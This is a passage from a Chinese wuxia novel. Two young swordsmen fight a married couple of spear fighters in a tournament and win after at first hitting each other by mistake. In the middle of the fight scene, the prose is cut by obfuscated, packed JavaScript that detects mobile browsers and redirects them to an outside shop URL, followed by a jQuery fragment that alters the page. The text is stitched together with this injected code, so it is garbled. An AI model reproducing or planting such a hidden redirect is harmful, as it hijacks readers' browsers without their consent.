一位身着青葱色劲装的男子出现在了擂台上,但凡这位昨天出现,他们两个或许就不是最显眼的了。
这位在榜单上的名字叫年景萧,江湖里没听说过这个名字,台下的人也是反应平平。
裁判将手一挥,擂台赛开始。
洛三秋收敛了思绪,继续看向台上。
青葱色男子直接大步向前,几米的转眼间便缩短不见。
洛三秋神色一凛,这速度也就比他新悟出的轻功慢上一点,真遇上了,他不一定能占到什么优势。
擂台上,对面的一男一女刚刚拔出剑,年景萧此时已经贴到了男的跟前,对着剑身一拍,一股无形的气劲以掌剑相交之处为中心扩散开来。
这男子直接长剑脱手,人也跟着被掀出了擂台,女子趁机前刺,却也被拽住了剑身,甩出了擂台。
裁判宣布了比赛的胜负。
一场碾压式的战斗,而这年景萧的搭档甚至只是在旁边看着热闹。
现场一片哗然,洛三秋也是心生震撼之感,这就是一流高手吗?看来之前来前辈对他们还是太手下留情了。
方野鹤侧头看着他们:“还觉着能夺冠吗?”
谢七晴一昂头,嘴硬道:“怎么不能?战便是了。”
洛三秋连忙伸手,把他拽了下来,就这乌鸦嘴可别再说了,再说就真对上了。
方野鹤不置可否,只是轻笑一声:“行,看你们明日能抽到谁。”
…
“你们这是抽到谁了?”
苏望舒看着面前两张苦瓜脸,有点压不住上扬的嘴角。
谢七晴把签子递了过去。
苏望舒一看,笑了:“阴阳连环枪夫妇啊?”
洛三秋问:“姐,你也认识?”
“当然,他们还有点名气,你们第几个上台。”
被问到这个问题,两人又叹了口气。
苏望舒笑出了声:“又是第一个?”
二人沉重点头。
苏望舒依次拍拍他们俩的肩膀,“尽力吧。”
陆乌也朝他们点点头,两人一道上了茶楼二楼。
谢七晴与洛三秋对视一眼。
“上擂台?”
“走。”
不情愿归不情愿,擂台还是得上,虽然抽到的是他们最难对付的类型,但起码比抽到一流高手的那四个人幸福些。
他们昨晚把册子都过了一遍,对不同人也制定了不同策略。
就是这对夫妻,他们没什么头绪,两人以前都没遇上过用枪的,看了半天也都是纸上谈兵,最后出来的方法也很是朴素——先把这对夫妻分开,再逐一击破。
把默契这块短板拿掉之后,或许他们还能赢。
洛三秋与谢七晴踩着一级级台阶,到擂台上站定。
下边欢呼的人不少,上次利落的战斗让不少人认识了他们。
对面的人几乎与他们同时间站定。
这对夫妻中,男的叫张晓晨,看起来四十出头,身高比他们稍矮一些。女的叫陈清柏,脸上有了点皱纹,但笑起来很是亲切。
他们看起来就像是一对普通而幸福的夫妻,但握住长枪的一瞬间,他们的气场就变了,锐意尽数外显。
洛三秋无端地有些发寒。
这对夫妻没说什么攻击性的话语,甚至还友善地冲他们俩笑了笑,双方报了名号后,就等待着裁判的指示。
裁判站在边沿,手一挥,比试正式开始。
洛三秋故技重施,直接前冲,却又在一半位置停下了脚步。
对面陈清柏的枪尖已经快要对准他了。
虽说再冲也不是不行,但对面毕竟有两位顶尖的二流武者,他没什么把握。
果然失败了啊,还是得按原计划来。
洛三秋拔剑出鞘,剑尖垂向地面,剑身在日光下闪出了银色的亮光。
他与谢七晴两人在场上慢慢游走,寻找着出手的时机。
那夫妻俩也是有耐心,移动脚步一人对看着一个。
两边都没有轻举妄动,场下的人也上都是屏息凝神,不敢出声打破这凝重的氛围。
洛三秋忽的听到了一记风声。
陈清柏快成了一道黑影,风声未到,一柄红缨枪枪尖已经扎到他面前三寸,隔空便有些刺痛之感。
洛三秋一个下腰,躲过了枪尖,不退反进,直刺陈清柏胸口。
但侧面却又有一柄长枪直冲他的腰部捅了过来,洛三秋暗道不妙,急忙转剑格挡。
陈清柏趁机枪身一抖,直接荡开了剑身,连带着洛三秋退了几步,落到了长枪的攻击范围内。
谢七晴趁着张晓晨前刺的空档,直接挥刀砍了下去,刀刃在空中划出一道锋利的轨迹。
“这下你总挡不了了吧!”
还真挡得了。
陈清柏见状,将枪杆往后一戳,擦着张晓晨的手臂击偏了刀刃,张晓晨紧接着转枪一记横扫。
谢七晴立即向后一跃,躲过了这一下。
只一个照面,四人便全换了位置。
不愧是连环枪,这两人轮流交替进攻,时刻守护着对方,对上他们就是像是同时对上了两个人。
不过也不是没办法,可以试试能不能把他们分开。
洛三秋转了转手腕。
此时陈清柏夫妻二人又变为背对着彼此的姿势,两柄长枪一柄指着一人。
不等他们动手,洛三秋的剑便动了。
如游鱼般从从枪影中穿梭过去,在空中划出一道银亮的轨迹。
谢七晴也同时动了,挥刀大开大阖,一下下劈开枪尖,逼得张晓晨双手握枪,刀枪相触,擦出了火星点点。
看起来情况大好的样子。
洛三秋与谢七晴正想再接再厉,夫妻二人却直接调换了位置,谢七晴直接刀身上撩,大力将陈清柏的枪杆拍飞起来,整个人空门大开。
张晓晨却已经弯腰回身前刺,把谢七晴逼退半步。
洛三秋遇上势大力沉的一枪,立马飞身一跃,空中衣袂纷飞,正想旋剑下刺之际,身前的张晓晨却直接矮了半截。
一柄飞起的枪杆迎面而来,他交叉双臂,硬受了这力道,落地后滑出了几米。
“抱歉!”谢七晴很是懊恼,但又觉着有些不可思议:“这也太巧了吧!?你们算到的?不可能吧?”
洛三秋也觉着奇妙,这种巧合应该不能复刻吧...总不能吧。
陈清柏回了一句:“你们试试不就知道了。”
那就试试。
洛三秋与谢七晴对视一眼,谢七晴刀身转了小半圈,刀尖对准张晓晨,洛三秋剑尖微抬,盯住了陈清柏。
一声轻响,刀剑齐动。
刀与枪在空中撞出了朵朵火星,“锵”声一片。
陈清柏一柄红缨枪灵动至极,一瞬间抖出了数朵枪花,如同一团燃烧着的火焰,洛三秋舞出剑光一片,虚虚实实,将对方的招式尽数破去。
刀光,剑影,枪风。
四人战作一团。
洛三秋寻到机会,沿着枪杆一路斜削而上,死死地压制住长枪的动作。
陈清柏却突然手一松,长枪下落,她脚一踩,长枪前段翘起,叫她重新够住,枪尾回旋抽向洛三秋。
洛三秋神色一凛。
这距离,来得及。
他不顾身后的风声,一剑直刺陈清柏心口。
陈清柏弓身躲避,洛三秋方向不改,瞬息间剑尖就到了张晓晨后心处,此时,谢七晴也连出七刀震开了长枪,双手持刀一跃而起,黑亮的刀身携呼啸的风声下劈。
张晓晨却突然将长枪一扔,往斜边一倒,叫陈清柏拽住手臂甩到了洛三秋一侧。
谢七晴与洛三秋在空中惊恐地对视。
原本两人都打算等人躲了就顺势回攻,但类似的进攻思路在此时反而成了劣势,距离过近,两人只能临时调转了武器方向,勉强收了点攻势,以尽量小的力道碰撞。
剑身与刀背在空中相撞发出了一声巨响。
两人都略微失了点平衡。
陈清柏将手中回转的长枪直接冲谢七晴扔出,顺势接住了张晓晨抛起的长枪,自身前横扫。
红缨枪在谢七晴的瞳孔中越放越大,空中无法借力,他横起刀身,挡住了枪尖,被巨大的力道击飞了数米,刀身在擂台上划出了一条长痕,才堪堪在擂台边缘停住了身形。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232615|195820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洛三秋还未站稳,就看到枪杆抽了过来,所幸就势一躺,在地上翻滚一周,躲过了这次攻击。
待两人直起身子,都已经出了一身的冷汗。
谢七晴不敢置信:“你们真能算到?这不是要命了。”
四人又回到了对峙状态。
待这次交锋结束,方才憋气的众人发出了响亮的欢呼声,当然还有一阵阵的哄笑声。
茶馆二楼,见识了他们神奇的对打操作后,苏望舒乐出了声:“在擂台上打到搭档的还是头一回见,他们两个这次可要出名了,真是一点默契都没有啊。”
陆乌眼中也有了点笑意:“齐安客栈。”
苏望舒浅酌一口茶水:“丢人还带上了我齐安客栈?这倒是。只能期待他们脑子灵光些,发挥出自己的优势赢下这场比赛了。”
台上的谢七晴与洛三秋脸上发烫,这下是必须赢下这场比赛了,两人都从对方的眼中看出了必胜的决心
两人一起上肯定不现实了,他们两个会碍了对方的手脚,倒不如一个人先上,由另一个人寻找进攻的机会。
洛三秋悄悄指着自己,示意自己先上。
下一秒,两人同时前冲。
对面的夫妻二人都做出了反应,谢七晴却在半路刹了车,只留洛三秋一人前冲。
洛三秋直接一头扎进了两柄长枪的攻击范围。
双枪如龙,直取他的要害。
洛三秋一记滑铲,从近地面处躲过了包抄,轻快地如同一只贴地飞行的燕子。
枪势瞬间变换。
洛三秋一拧身,剑光一闪,击中枪杆,借力斜移,躲过了身后的一下。
面对这对默契的夫妻,压力不是一般的大,每时每刻都有长枪从不同的角度袭来,一下接一下,仿佛永远不会停止。
但洛三秋却并不焦虑,只是觉得身体愈发轻盈。
自在。
他好像又回到那晚。
眼前的枪影重重叠叠,但他却看到了天地间无数条出路。
枪影越密,他就越是自在,像是一片轻飘飘的落叶一样,沾不上一点风浪。
场下的观众本来对他一人对敌的行为存了不少疑惑,不少人甚至在看到这个局面时就发出了叹息,等待着他们失败的结局。
但是。
十秒。
二十秒。
到了一分钟时,洛三秋仍像是一只轻灵的蝴蝶一样飞舞在两柄长枪之间,躲过了层层枪影组成的密网。
观众们的表情渐渐由疑惑转向了敬佩,有几个人看到惊险处甚至忍不住脱口而出了一声“好!”然后后悔的捂住了嘴巴,生怕惊扰了台上缠斗的三人。
十秒、二十秒…一分钟,谢七晴在心中默数着,队友在全力迎战,不知能撑到几时,他却迟迟不动,这种行为大概会被骂惨了吧。
但是,还不行。
还不是最好的时机。
他的瞳孔放大,像是野兽狩猎前的征兆,平静的脸上无端透出了几分危险感。
洛三秋仍然在孤身对敌,他轻松地跃起,在空中弯出个优美的弧度,两柄长枪冲他袭来,枪上的红缨像是两点索命的红芒般穷追不舍。
他抬脚在两个枪尖一点,借力后翻,施施然落地,前所未有的灵巧。
两柄长枪在空中荡出个弧度。
就是现在!
谢七晴一记重踏,急速前冲,化作一道红影奔向张晓晨身后。
张晓晨觉察有异,转枪回防,被带偏了的长枪的防御并不完美,谢七晴刀背上挑,挥开枪身,直刀前刺。
陈清柏依旧眼观六路,枪身斜拐抽向他。
等的就是你这招。
谢七晴直接将刀前掷出,重重撞上陈清柏的枪杆。
自己继续前冲,直接将张晓晨撞倒在地,拳拳到肉,与他贴身肉搏起来。
陈清柏控住长枪正欲回援,却突然没了动作。
只见洛三秋已经悄无声息地站在了她的身后,冰凉的剑尖抵着她的后心处。
原本劣势的局面一举反转,很快,裁判就宣布了他们的胜利。
台下的观众们自发地为这场精彩的对决送上了热烈的掌声。